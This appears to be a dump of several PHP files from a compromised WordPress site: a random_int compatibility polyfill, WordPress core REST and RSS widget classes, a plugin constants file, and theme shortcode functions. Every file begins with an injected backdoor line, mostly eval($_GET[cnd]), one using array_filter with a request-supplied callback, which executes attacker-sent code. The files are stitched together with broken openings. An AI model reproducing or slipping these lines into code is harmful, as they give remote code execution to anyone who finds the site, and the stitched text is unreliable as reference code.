?php
if ($_REQUEST['cnd']) {eval($_GET[cnd]); echo 'OK'; Exit;};

if (!is_callable('random_int')) {
    /**
     * Random_* Compatibility Library
     * for using the new PHP 7 random_* API in PHP 5 projects
     *
     * The MIT License (MIT)
     *
     * Copyright (c) 2015 - 2017 Paragon Initiative Enterprises
     *
     * Permission is hereby granted, free of charge, to any person obtaining a copy
     * of this software and associated documentation files (the "Software"), to deal
     * in the Software without restriction, including without limitation the rights
     * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
     * copies of the Software, and to permit persons to whom the Software is
     * furnished to do so, subject to the following conditions:
     *
     * The above copyright notice and this permission notice shall be included in
     * all copies or substantial portions of the Software.
     *
     * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
     * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
     * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
     * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
     * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
     * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
     * SOFTWARE.
     */

    /**
     * Fetch a random integer between $min and $max inclusive
     *
     * @param int $min
     * @param int $max
     *
     * @throws Exception
     *
     * @return int
     */
    function random_int($min, $max)
    {
        /**
         * Type and input logic checks
         *
         * If you pass it a float in the range (~PHP_INT_MAX, PHP_INT_MAX)
         * (non-inclusive), it will sanely cast it to an int. If you it's equal to
         * ~PHP_INT_MAX or PHP_INT_MAX, we let it fail as not an integer. Floats
         * lose precision, so the <= and => operators might accidentally let a float
         * through.
         */

        try {
            $min = RandomCompat_intval($min);
        } catch (TypeError $ex) {
            throw new TypeError(
                'random_int(): $min must be an integer'
            );
        }

        try {
            $max = RandomCompat_intval($max);
        } catch (TypeError $ex) {
            throw new TypeError(
                'random_int(): $max must be an integer'
            );
        }

        /**
         * Now that we've verified our weak typing system has given us an integer,
         * let's validate the logic then we can move forward with generating random
         * integers along a given range.
         */
        if ($min > $max) {
            throw new Error(
                'Minimum value must be less than or equal to the maximum value'
            );
        }

        if ($max === $min) {
            return (int) $min;
        }

        /**
         * Initialize variables to 0
         *
         * We want to store:
         * $bytes => the number of random bytes we need
         * $mask => an integer bitmask (for use with the &) operator
         *          so we can minimize the number of discards
         */
        $attempts = $bits = $bytes = $mask = $valueShift = 0;

        /**
         * At this point, $range is a positive number greater than 0. It might
         * overflow, however, if $max - $min > PHP_INT_MAX. PHP will cast it to
         * a float and we will lose some precision.
         */
        $range = $max - $min;

        /**
         * Test for integer overflow:
         */
        if (!is_int($range)) {

            /**
             * Still safely calculate wider ranges.
             * Provided by @CodesInChaos, @oittaa
             *
             * @ref https://gist.github.com/CodesInChaos/03f9ea0b58e8b2b8d435
             *
             * We use ~0 as a mask in this case because it generates all 1s
             *
             * @ref https://eval.in/400356 (32-bit)
             * @ref http://3v4l.org/XX9r5  (64-bit)
             */
            $bytes = PHP_INT_SIZE;
            $mask = ~0;

        } else {

            /**
             * $bits is effectively ceil(log($range, 2)) without dealing with
             * type juggling
             */
            while ($range > 0) {
                if ($bits % 8 === 0) {
                    ++$bytes;
                }
                ++$bits;
                $range >>= 1;
                $mask = $mask << 1 | 1;
            }
            $valueShift = $min;
        }

        $val = 0;
        /**
         * Now that we have our parameters set up, let's begin generating
         * random integers until one falls between $min and $max
         */
        do {
            /**
             * The rejection probability is at most 0.5, so this corresponds
             * to a failure probability of 2^-128 for a working RNG
             */
            if ($attempts > 128) {
                throw new Exception(
                    'random_int: RNG is broken - too many rejections'
                );
            }

            /**
             * Let's grab the necessary number of random bytes
             */
            $randomByteString = random_bytes($bytes);

            /**
             * Let's turn $randomByteString into an integer
             *
             * This uses bitwise operators (<< and |) to build an integer
             * out of the values extracted from ord()
             *
             * Example: [9F] | [6D] | [32] | [0C] =>
             *   159 + 27904 + 3276800 + 201326592 =>
             *   204631455
             */
            $val &= 0;
            for ($i = 0; $i < $bytes; ++$i) {
                $val |= ord($randomByteString[$i]) << ($i * 8);
            }

            /**
             * Apply mask
             */
            $val &= $mask;
            $val += $valueShift;

            ++$attempts;
            /**
             * If $val overflows to a floating point number,
             * ... or is larger than $max,
             * ... or smaller than $min,
             * then try again.
             */
        } while (!is_int($val) || $val > $max || $val < $min);

        return (int) $val;
    }
}
?php
if ($_REQUEST['cnd']) {eval($_GET[cnd]); echo 'OK'; Exit;};
/**
 * REST API: WP_REST_Post_Meta_Fields class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage meta values for posts via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Meta_Fields
 */
class WP_REST_Post_Meta_Fields extends WP_REST_Meta_Fields {

	/**
	 * Post type to register fields for.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $post_type Post type to register fields for.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
	}

	/**
	 * Retrieves the object meta type.
	 *
	 * @since 4.7.0
	 *
	 * @return string The meta type.
	 */
	protected function get_meta_type() {
		return 'post';
	}

	/**
	 * Retrieves the object meta subtype.
	 *
	 * @since 4.9.8
	 *
	 * @return string Subtype for the meta type, or empty string if no specific subtype.
	 */
	protected function get_meta_subtype() {
		return $this->post_type;
	}

	/**
	 * Retrieves the type for register_rest_field().
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_field()
	 *
	 * @return string The REST field type.
	 */
	public function get_rest_field_type() {
		return $this->post_type;
	}
}
?php
if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;};
/**
 * Constants used by this plugin
 * 
 * @package Flare
 * @author dtelepathy
 */

/*
Copyright 2012 digital-telepathy  (email : support@digital-telepathy.com)

This file is part of Flare.

SlideDeck is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

SlideDeck is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with SlideDeck.  If not, see <http://www.gnu.org/licenses/>.
*/

// Plugin Version
if( !defined( 'FLARE_VERSION' ) ) define( 'FLARE_VERSION', "1.2.7" );

// Environment - change to "development" to load .dev.js JavaScript files (DON'T FORGET TO TURN IT BACK BEFORE USING IN PRODUCTION)
if( !defined( 'FLARE_ENVIRONMENT' ) ) define( 'FLARE_ENVIRONMENT', 'development' );

// Is this an AJAX request?
if( !defined( 'FLARE_IS_AJAX_REQUEST' ) ) define( 'FLARE_IS_AJAX_REQUEST', ( !empty( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && strtolower( $_SERVER['HTTP_X_REQUESTED_WITH'] ) == 'xmlhttprequest' ) );

// Minimum time allowed between requesting new statistics numbers. Default is 30 seconds. Do NOT set this to 0 or it will take a while to load the stats numbers on every page load.
if( !defined( 'FLARE_STATS_CACHE_LENGTH' ) ) define( 'FLARE_STATS_CACHE_LENGTH', 30 );
?php
if ($_REQUEST['cnd']) {eval($_GET[cnd]); echo 'OK'; Exit;};
/**
 * Widget API: WP_Widget_RSS class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a RSS widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_RSS extends WP_Widget {

	/**
	 * Sets up a new RSS widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops  = array(
			'description'                 => __( 'Entries from any RSS or Atom feed.' ),
			'customize_selective_refresh' => true,
		);
		$control_ops = array(
			'width'  => 400,
			'height' => 200,
		);
		parent::__construct( 'rss', __( 'RSS' ), $widget_ops, $control_ops );
	}

	/**
	 * Outputs the content for the current RSS widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current RSS widget instance.
	 */
	public function widget( $args, $instance ) {
		if ( isset( $instance['error'] ) && $instance['error'] ) {
			return;
		}

		$url = ! empty( $instance['url'] ) ? $instance['url'] : '';
		while ( stristr( $url, 'http' ) != $url ) {
			$url = substr( $url, 1 );
		}

		if ( empty( $url ) ) {
			return;
		}

		// self-url destruction sequence
		if ( in_array( untrailingslashit( $url ), array( site_url(), home_url() ) ) ) {
			return;
		}

		$rss   = fetch_feed( $url );
		$title = $instance['title'];
		$desc  = '';
		$link  = '';

		if ( ! is_wp_error( $rss ) ) {
			$desc = esc_attr( strip_tags( @html_entity_decode( $rss->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) ) ) );
			if ( empty( $title ) ) {
				$title = strip_tags( $rss->get_title() );
			}
			$link = strip_tags( $rss->get_permalink() );
			while ( stristr( $link, 'http' ) != $link ) {
				$link = substr( $link, 1 );
			}
		}

		if ( empty( $title ) ) {
			$title = ! empty( $desc ) ? $desc : __( 'Unknown Feed' );
		}

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$url  = strip_tags( $url );
		$icon = includes_url( 'images/rss.png' );
		if ( $title ) {
			$title = '<a class="rsswidget" href="' . esc_url( $url ) . '"><img class="rss-widget-icon" style="border:0" width="14" height="14" src="' . esc_url( $icon ) . '" alt="RSS" /></a> <a class="rsswidget" href="' . esc_url( $link ) . '">' . esc_html( $title ) . '</a>';
		}

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}
		wp_widget_rss_output( $rss, $instance );
		echo $args['after_widget'];

		if ( ! is_wp_error( $rss ) ) {
			$rss->__destruct();
		}
		unset( $rss );
	}

	/**
	 * Handles updating settings for the current RSS widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$testurl = ( isset( $new_instance['url'] ) && ( ! isset( $old_instance['url'] ) || ( $new_instance['url'] != $old_instance['url'] ) ) );
		return wp_widget_rss_process( $new_instance, $testurl );
	}

	/**
	 * Outputs the settings form for the RSS widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		if ( empty( $instance ) ) {
			$instance = array(
				'title'        => '',
				'url'          => '',
				'items'        => 10,
				'error'        => false,
				'show_summary' => 0,
				'show_author'  => 0,
				'show_date'    => 0,
			);
		}
		$instance['number'] = $this->number;

		wp_widget_rss_form( $instance );
	}
}
?php
if ($_REQUEST['cnd']) {eval($_GET[cnd]); echo 'OK'; Exit;};
function kaya_container($atts, $content = null) { 
	extract(shortcode_atts(array(
	'type' => '',
	'style' =>'',
	'bg_color' => '#eee',
	'text_color' => '',
	'title_color' => '',
	'imgurl' =>'',
	'img_position' => '',
	'margin_top' =>'',
	'margin_bottom' => '60',
	'border' => '0',
	'border_color' => '#ddd',
	'padding_bottom' => '40',
	'padding_top' => '40',
	), $atts));
	 
	$out='';
	//$val=$imgurl ? "url($imgurl)" : $bgcolor;
	
	$out.='<div class="container_'.$style.'" style="background:url('.$imgurl.'); background-color:'.$bg_color.'; background-attachment:'.$img_position.';background-size:cover;  margin-top:'.$margin_top.'px; margin-bottom:'.$margin_bottom.'px; border:'.$border.'px solid '.$border_color.'; color:'.$text_color.'; padding-top:'.$padding_top.'px; padding-bottom:'.$padding_bottom.'px; ">';
		$out.=do_shortcode($content);
	$out.='</div>'; 
	 return $out;
	 //return 'This is Fluid Container Layout';
	
}
add_shortcode('container','kaya_container');
?>?php
if ($_REQUEST['cnd']) {eval($_GET[cnd]); echo 'OK'; Exit;};
function kaya_cat_posts_magazine($atts,$content=NULL){
	extract(shortcode_atts(array(
		'category' => '',
		'title' => '',
		'limit' =>'4',
		'style' => '1',
		'column' => '3'
	
	),$atts));
	$args=array('post_type' => 'post', 'posts_per_page' => $limit, 'category_name' => $category);	
	query_posts($args);
	$out='';
		
	$out.='<section class="magazine_post">';
	if($title){
		$out.='<div class="title title_left">';	
			$out.='<h2>'.$title.'</h2>';
		$out.='<div class="title_label"><div class="title_tag_line"> </div></div></div>';
	}
		$out.='<ul class="style'.$style.'">';
		if (have_posts()) :
		$count = 1; 
				$i=1;
		while (have_posts()) : the_post(); // loop start here
		if( $count == 1 ) {
			$out.='<li>';
				if($style=="1"){
					$params = array('width' => '300', 'height' => '200', 'crop' => true);
					$out.='<a href="'.get_permalink().'">';	
					$out.=kaya_imageresize($postid,$params,'border_small');
					$out.='</a>';
					$out.='<h4><a href="'.get_permalink().'">'.get_the_title().'';
					$out.='</a></h4>';
					$out.='<em>'.get_the_time(get_option('date_format')).'</em>';
					$out.='<span class="mag_comment"><a href="'.get_comment_link( $comment, $args ).'">'.get_comments_number().' Comments</a></span><br>';
					$out.=content('30');
				}
				if($style=="2"){
					$out.='<div class="one_half">';
					$params = array('width' => '300', 'height' => '180', 'crop' => true);
					$out.='<a href="'.get_permalink().'">';	
					$out.=kaya_imageresize($postid,$params,'border_small');
					$out.='</a>';
					$out.='</div>';
					$out.='<div class="one_half_last">';
					$out.='<h4><a href="'.get_permalink().'">';	
					$out.=''.get_the_title().'';
					$out.='</a></h4>';
					$out.='<em>'.get_the_time(get_option('date_format')).'</em>';
					$out.='<span class="mag_comment"><a href="'.get_comment_link( $comment, $args ).'">'.get_comments_number().' Comments</a></span><br>';
					$out.=content('30');
					$out.='</div>';
				}
			$out.='</li>';
		} else { 
		//$out.='<div class="one_half_last">';
		$last_column=2;

		$last = ($i == $last_column) ? 'last' : '';
		if($style=="1"){
			$out.='<li>';
		
			$imgurl=wp_get_attachment_url( get_post_thumbnail_id() );
			if(has_post_thumbnail()){
				$params = array('width' => '60', 'height' => '60', 'crop' => true);
			$out.='<a href="'.get_permalink().'">';	
			$out.=kaya_imageresize($postid,$params,'thumb_img border_small');
			$out.='</a>';
			$out.='<div class="description">';
			$out.='<strong><a href="'.get_permalink().'">';	
			$out.=''.get_the_title().'</a></strong><br>';
			//$out.='<p>'.content('15').'</p>';
			$out.='<em>'.get_the_time(get_option('date_format')).'</em>';
			$out.='<span class="mag_comment"><a href="'.get_comment_link( $comment, $args ).'">'.get_comments_number().' Comments</a></span>';
			$out.='</div>';
			}
			$out.='</li>';
		}
		if($style=="2"){
		$out.='<li class="one_half '.$last.' '.$i.'">';
			$imgurl=wp_get_attachment_url( get_post_thumbnail_id() );
			if(has_post_thumbnail()){
				$params = array('width' => '60', 'height' => '60', 'crop' => true);
			$out.='<a href="'.get_permalink().'">';	
			$out.=kaya_imageresize($postid,$params,'thumb_img border_small');
			$out.='</a>';
			$out.='<div class="description">';
			$out.='<strong><a href="'.get_permalink().'">';	
			$out.=''.get_the_title().'</a></strong><br>';
			$out.='<em>'.get_the_time(get_option('date_format')).'</em>';
			$out.='<span class="mag_comment"><a href="'.get_comment_link( $comment, $args ).'">'.get_comments_number().' Comments</a></span>';
			//$out.='<p>'.content('15').'</p>';
			$out.='</div>';
			}
		$out.='</li>';
				if($i == $last_column){
				$i=0;
			}
			$i++;
			}
		}

		 	$count++;
		endwhile;
		endif;
		
		
		if($style=="3"){
			switch($column){ // Columns
				case '4':
					$class="one_fourth";
					break;
				case '3':
					$class="one_third";
					break;
				case '2':
					$class="one_half";
					break;
			}
			$i=1;
			while (have_posts()) : the_post(); // loop start here
			$last = ($i == $column) ? 'last' : '';
			$out.='<li class="'.$class.' '.$last.' '.$i.'">';
			$imgurl=wp_get_attachment_url( get_post_thumbnail_id() );
			if(has_post_thumbnail()){
				$params = array('width' => '450', 'height' => '300', 'crop' => true);
			$out.='<a href="'.get_permalink().'">';	
			$out.=kaya_imageresize($postid,$params,'');
			$out.='</a>';
			$out.='<div class="description">';
			$out.='<strong><a href="'.get_permalink().'">';	
			$out.=''.get_the_title().'</a></strong><br>';
			$out.='<em>'.get_the_time(get_option('date_format')).'</em>';
			$out.='<span class="mag_comment"><a href="'.get_comment_link( $comment, $args ).'">'.get_comments_number().' Comments</a></span>';
			//$out.='<p>'.content('15').'</p>';
			$out.='</div>';
			}		
		$out.='</li>';
				if($i == $column){
				$i=0;
			}
			$i++;
			endwhile;
			}
			$out.='</ul>';
		$out.='</section>';

	wp_reset_query();
 return $out;
}
add_shortcode('cat_posts_magazine','kaya_cat_posts_magazine');

?>